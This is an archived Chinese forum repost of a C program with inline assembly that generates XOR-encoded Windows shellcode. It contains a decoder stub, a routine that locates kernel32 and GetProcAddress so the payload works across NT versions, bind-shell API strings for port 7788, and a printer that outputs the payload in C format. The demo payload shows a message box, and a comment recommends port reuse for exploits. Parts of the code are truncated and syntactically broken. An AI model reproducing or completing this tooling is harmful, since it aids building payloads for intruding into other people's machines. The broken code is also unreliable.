查看完整版本: 使用C语言编写提取通用shellcode的程序

news/2024/7/3 12:26:30
导读:
   使用C语言编写提取通用shellcode的程序文章修改:Hume/冷雨飘心
  文章注释:我非我[F.S.T]
  信息来源:黑客基地
  [code]/*
  说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
  用vc编译时请使用Release格式并取消优化设置,否则不能正常运行
  */
  #include
  #include
  #include
  #define DEBUG 1 //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode
  //
  //函数原型
  //
  void DecryptSc(); //shellcode解码函数,使用的是xor法加微调法
  void ShellCodes(); //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
  void PrintSc(char *lpBuff, int buffsize); //PrintSc函数用标准c格式打印
  //
  //用到的部分定义
  //
  #define BEGINSTRLEN 0x08 //开始字符串长度
  #define ENDSTRLEN 0x08 //结束标记字符的长度
  #define nop_CODE 0x90 //填充字符,用于不确定shellcode入口用
  #define nop_LEN 0x0 //ShellCode起始的填充长度,真正shellcode的入口
  #define BUFFSIZE 0x20000 //输出缓冲区大小
  #define sc_PORT 7788 //绑定端口号 0x1e6c
  #define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小
  #define Enc_key 0x7A //编码密钥
  #define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?
  #define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够?
  #define MAX_api_strlen 0x400 //APIstr字符串的长度
  #define API_endstr "strend"//API结尾标记字符串
  #define API_endstrlen 0x06 //标记字符串长度
  //定义函数开始字符,定位用
  #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90/
  __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
  #define PROC_END PROC_BEGIN
  //---------------------------------------------------
  enum{ //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
  _CreatePipe,
  _CreateProcessA,
  _CloseHandle,
  _PeekNamedPipe,
  _ReadFile,
  _WriteFile,
  _ExitProcess,
  //WS2_32
  _WSAStartup,
  _WSASocket
  _socket,
  _bind,
  _listen,
  _accept,
  _send,
  _recv,
  _ioctlsocket,
  _closesocket,
  //本机测试User32
  _MessageBeep,
  _MessageBoxA,
  API_num
  };
  //
  //代码这里开始
  //
  int __cdecl main(int argc, char **argv)
  {
  //shellcode中要用到的字符串
  static char ApiStr[]="/x1e/x6c" //端口地址7788
  //Kernel32中查找的API函数名称,用来查找函数地址,下同
  "CreatePipe""/x0"
  "CreateProcessA""/x0"
  "CloseHandle""/x0"
  "PeekNamedPipe""/x0"
  "ReadFile""/x0"
  "WriteFile""/x0"
  "ExitProcess""/x0"
  //其它API中用到的API
  "wsock32.dll""/x0"
  "socket""/x0"
  "bind""/x0"
  "listen""/x0"
  "accept""/x0"
  "send""/x0"
  "recv""/x0"
  "ioctlsocket""/x0"
  "closesocket""/x0"
  //本机测试
  "user32.dll""/x0"
  "MessageBeep""/x0"
  "MessageBoxA""/x0"
  "/x0/x0/x0/x0/x0"
  "strend";
  char *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记开始的字符串
  char *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记结束的字符串
  char buff[BUFFSIZE]; //缓冲区
  char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲
  char *pDcrypt_addr,
  *pSc_addr;
  int buff_len; //缓冲长度
  int EncCode_len; //加密编码代码长度
  int Sc_len; //原始ShellCode的长度
  int i,k;
  unsigned char ch;
  //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
  //
  pDcrypt_addr=(char *)DecryptSc;
  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试
  ch=*pDcrypt_addr;
  if (ch==0xe9)
  {
  pDcrypt_addr++;
  i=*(int *)pDcrypt_addr;
  pDcrypt_addr+=(i+4); //此时指向DecryptSc函数的实际地址
  }
  //找到解码代码的开始部分
  for(k=0;k
  if (k
  else
  {
  //显示错误信息
  k=0;
  printf("/nNo Begin str defined in Decrypt function!Please Check before go on.../n");
  return 0;
  }
  for(k=0;k   if (k
  else
  {
  k=0;
  printf("/nNo End str defined in Decrypt function!Please Check..../n");
  return 0;
  }
  memset(buff,nop_CODE,BUFFSIZE); //缓冲区填充
  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len); //把DecryptSc代码复制进buff
  //
  //处理ShellCode代码,如果需要定位到代码的开始
  //
  pSc_addr=(char *)ShellCodes; //定位shellcode的地址
  //调试状态下的函数地址处理,便于调试
  ch=*pSc_addr;
  if (ch==0xe9)
  {
  pSc_addr++;
  i=*(int *)pSc_addr;
  pSc_addr+=(i+4); //此时指向ShellCodes函数的实际地址
  }
  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
  /*
  for (k=0;k   if (k
  */
  //找到shellcode的结尾及长度
  for(k=0;k   if (k
  else
  {
  k=0;
  printf("/nNo End str defined in ShellCodes function!Please Check..../n");
  return 0;
  }
  //把shellcode代码复制进sc_buff
  memcpy(sc_buff,pSc_addr,Sc_len);
  //把字符串拷贝在shellcode的结尾
  for(i=0;i   if(i>=MAX_api_strlen)
  {
  printf("/nNo End str defined in API strings!Please Check..../n");
  return 0;
  }
  memcpy(sc_buff+k,ApiStr,i);
  Sc_len+=i; //增加shellcode的长度
  //
  //对shellcode进行编码,算法简单,可根据需要改变
  //
  k=EncCode_len+nop_LEN; //定位缓冲区应存放ShellCode地址的开始
  for(i=0;i
  ch=sc_buff[i]^Enc_key;
  //对一些可能造成shellcode失效的字符进行替换,即微调法
  if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='//'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
  {
  buff[k]='0';
  ++k;
  ch+=0x31;
  }
  //把编码过的shellcode放在DecryptSc代码后面
  buff[k]=ch;
  ++k;
  }
  //shellcode的总长度
  buff_len=k;
  //打印出shellcode
  PrintSc(buff,buff_len);
  //buff[buff_len]=0;
  //printf("%s",buff);
  #ifdef DEBUG
  _asm{
  lea eax,buff
  jmp eax
  ret
  }
  #endif
  return 0;
  }
  //解码shellcode的代码
  void DecryptSc()
  {
  __asm{
  /
  //定义开始标志
  /
  PROC_BEGIN //C macro to begin proc
  jmp next
  getEncCodeAddr:
  pop edi
  push edi
  pop esi
  xor ecx,ecx
  Decrypt_lop:
  lodsb
  cmp al,cl
  jz shell
  cmp al,0x30 //判断是否为特殊字符
  jz special_char_clean //是则跳到special_char_clean
  store:
  xor al,Enc_key
  stosb
  jmp Decrypt_lop
  special_char_clean: //进行微调替换
  lodsb
  sub al,0x31
  jmp store
  next:
  call getEncCodeAddr
  //其余真正加密的shellcode代码会连接在此处
  shell:
  /
  //定义结束标志
  /
  PROC_END //C macro to end proc
  }
  }
  //
  //shellcode代码
  //
  void ShellCodes()
  {
  //API低址数组
  FARPROC API[API_num];
  //自己获取的API地址
  FARPROC GetProcAddr;
  FARPROC LoadLib;
  HANDLE hKrnl32;
  HANDLE libhandle;
  char *ApiStr_addr,*p;
  
  int k;
  u_short shellcodeport;
  测试用变量
  char *testAddr;
  //
  //这里是网络函数的变量定义,实际编写shellcode时可以使用。
  /*
  STARTUPINFO siinfo;
  WSADATA ws;
  SOCKET listenFD,clientFD;
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_port = htons(sc_PORT);
  server.sin_addr.s_addr=ADDR_ANY;
  int iAddrSize = sizeof(server);
  int lBytesRead;
  PROCESS_INFORMATION ProcessInformation;
  HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
  SECURITY_ATTRIBUTES sa;
  */
  _asm {
  jmp locate_addr0
  getApiStr_addr:
  pop ApiStr_addr
  //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
  //以后就可以方便地获取任何API的地址了
  //保护寄存器
  pushad
  xor esi,esi
  lods dword ptr fs:[esi]
  
  Search_Krnl32_lop: //搜索kernel32基址
  inc eax
  je Krnl32_Base_Ok
  dec eax
  xchg esi,eax
  LODSD
  jmp Search_Krnl32_lop
  Krnl32_Base_Ok:
  LODSD
  ;compare if PE_hdr
  xchg esi,eax
  find_pe_header:
  dec esi
  xor si,si ;kernel32 is 64kb align
  mov eax,[esi]
  add ax,-'ZM' ;
  jne find_pe_header
  mov edi,[esi+3ch] ;.e_lfanew
  mov eax,[esi+edi]
  add eax,-'EP' ;anti heuristic change this if you are using MASM etc.
  jne find_pe_header
  
  push esi
  ;esi=VA Kernel32.BASE
  ;edi=RVA K32.pehdr
  mov ebx,esi
  mov edi,[ebx+edi+78h] ;peh.DataDirectory
  
  push edi
  push esi
  mov eax,[ebx+edi+20h] ;peexc.AddressOfNames
  mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals
  call __getProcAddr
  _emit 0x47
  _emit 0x65
  _emit 0x74
  _emit 0x50
  _emit 0x72
  _emit 0x6F
  _emit 0x63
  _emit 0x41
  _emit 0x64
  _emit 0x64
  _emit 0x72
  _emit 0x65
  _emit 0x73
  _emit 0x73
  _emit 0x0
  //db "GetProcAddress",0
  __getProcAddr:
  pop edi
  mov ecx,15
  sub eax,4
  next_:
  add eax,4
  add edi,ecx
  sub edi,15
  mov esi,[ebx+eax]
  add esi,ebx
  mov ecx,15
  repz cmpsb
  jnz next_
  pop esi
  pop edi
  sub eax,[ebx+edi+20h] ;peexc.AddressOfNames
  shr eax,1
  add edx,ebx
  movzx eax,word ptr [edx+eax]
  add esi,[ebx+edi+1ch] ;peexc.AddressOfFunctions
  add ebx,[esi+eax*4] ;ebx=Kernel32.GetProcAddress.addr
  ;用GetProcAddress和hModule来得到其他函数的地址
  pop esi ;esi=kernel32 Base
  mov [hKrnl32],esi //保存
  mov [GetProcAddr],ebx //保存
  call _getLoadLib
  _emit 0x4C
  _emit 0x6F
  _emit 0x61
  _emit 0x64
  _emit 0x4C
  _emit 0x69
  _emit 0x62
  _emit 0x72
  _emit 0x61
  _emit 0x72
  _emit 0x79
  _emit 0x41
  _emit 0x0
  //db "LoadLibraryA",0
  
  _getLoadLib:
  push esi
  call ebx
  mov [LoadLib],eax
  //恢复寄存器,避免更多问题
  popad
  }
  //取出定义的端口地址
  shellcodeport=*(u_short *)ApiStr_addr;
  ApiStr_addr+=2;
  
  //测试用地址
  testAddr=ApiStr_addr;
  
  //利用GetProcAddress来获得shellcode中所用到的API地址
  libhandle=hKrnl32;
  p=ApiStr_addr;
  k=0;
  ///*
  while ( *((unsigned int *)p) != 0)
  {
  ApiStr_addr=p;
  while(*p) p++; //前进到下一个字符串
  if (*( (unsigned int *)(p-4))=='lld.')
  {
  libhandle=(HANDLE)LoadLib(ApiStr_addr); //若为DLL则加载DLL
  }
  else
  {
  API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
  k++;
  }
  
  ApiStr_addr=++p; //更新指针前进一个字符位置
  
  }
  
  //*/
  ///
  // 下面就可以使用C语言来编写真正实现功能的shellcode了 //
  ///
  //
  //简单测试几个API看是否复合要求,只是弹出一个对话框
  //这里的函数调用是通过 API[enum](argv); 调用的。这里的enum是指开头定义的枚举
  //你可以自己替换以下的代码。推荐使用端口复用然后让你的exp主动连接。
  //
  API[_MessageBeep](0x10);
  API[_MessageBoxA](0,testAddr,0,0x40);
  API[_ExitProcess](0);
  ///
  // shellcode功能部分结束 //
  ///
  //死循环
  die:
  goto die;
  __asm
  {
  locate_addr0:
  call getApiStr_addr //5 bytes
  //真正的字符串数据要连接在此处
  
  /
  //定义结束标志
  /
  PROC_END //C macro to end proc
  
  }
  }
  //
  //显示打印生成的shellcode的标准C格式代码
  //
  void PrintSc(char *lpBuff, int buffsize)
  {
  int i,j;
  char *p;
  char msg[4];
  for(i=0;i
  {
  if((i%16)==0)
  if(i!=0)
  printf("/"/n/"");
  else
  printf("/"");
  sprintf(msg,"//x%.2X",lpBuff[i]&0xff);
  for( p = msg, j=0; j <4; p++, j++ )
  {
  if(isupper(*p))
  printf("%c", _tolower(*p));
  else
  printf("%c", p[0]);
  }
  }
  printf("/";/n/*Shell total are %d bytes *//n",buffsize);
  }[/code]

本文转自
http://bbs.syue.com/archiver/tid-12904.html

http://www.niftyadmin.cn/n/3650731.html

相关文章

查看完整版本: weibo反弹后门的源代码

导读&#xff1a; weibo反弹后门的源代码软件作者&#xff1a;weibo [b]headerf.h[/b] 这里面放了公共函数&#xff0c;还有一些声明 [code]#ifndef _BDH_ #define _BDH_ #include #include #include #include #pragma comment(lib,"ws2_32.lib") #define SIO_RCVALL…

看一个比较各种语言的帖子的一点看法

昨天看了一本讲CLR的书说一种语言包括语义和语法语义是基础&#xff0c;定义了所有的抽象性&#xff0c;是核心&#xff0c;是内在的东西。语法则是其实现&#xff0c;是表现形式&#xff0c;只是一个包装。理解了抽象性的语义才算是精通一门语言&#xff0c;与语法无关。对于一…

xmlhttp存在最大并发数,ajax设计应有所斟酌[zz]

这次认真的测试了三种浏览器&#xff08;ie/firefox/opera&#xff09;的xmlhttp并发行为&#xff0c;发现如果用户同时发出很多xmlhttp 异步请求&#xff0c;那么浏览器不是一股脑全把请求发出去&#xff0c;而是存在一个最大并发数。我的机器测试发现&#xff0c;ie和ff里面是…

windows2000本地登陆过程及利用方法

导读&#xff1a; 当你从Windows 2000 Professional or Server登录时,意见Windows 2000 用两种过程验证本地登录. Windows 2000尝试使用 Kerberos 作为基本验证方式. 如 果找不道 Key Distribution Center (KDC) 服务, Windows 会使用Windows NTLanManager(NTLM) 安全机制来验证…

Winlogon原理

导读&#xff1a; 自己写Winlogon必须实现以下技术细节: 1.首先建立WindowStation,名字必须为Winsta0;因为某内核模式的程序里有对Winsta0的引用 2.建立三个桌面;首先必须建立winlogon名字的桌面,因为win32k.sys里有对winlogon名字桌面 的引用;接着建立default桌面,因为explore…

SQL6031N 在 db2nodes.cfg 文件的行号1 上出错。原因码为10。

DB2数据库服务器 v8(Linux)在更改机器名后数据库服务异常&#xff0c;症状是当使用db2 list db directory命令或者其他命令的时候提示错误信息如下&#xff1a;SQL6031N 在 db2nodes.cfg 文件的行号"1" 上出错。原因码为"10"。解决的办法: 打开DB2实例所有…

Winlogon 的编译与深度研究

导读&#xff1a; 本文转载自http://bbs.ustc.edu.cn/cgi/bbstcon?boardKernel&fileM.1133080524.A 终于彻底解决了winlogon的编译 系统稳定运行1个月了&#xff0c;没有任何问题&#xff0c;没有lsass照样运行的很好。 证明lsass不是系统关键进程&#xff0c;只有system、…

NAF框架终于有了一个好的开端。

NAF框架是我们在原有的JAF框架的基础上&#xff0c;按其基本思想实现的.net与java结合的框架。第一个核心功能就是java与.net的互操作-远程调用。在两种环境下都使用动态代理和xml自定义序列化技术&#xff0c;类似于webservice/soap。 经过这几周的废寝忘食&#xff0c;我已经…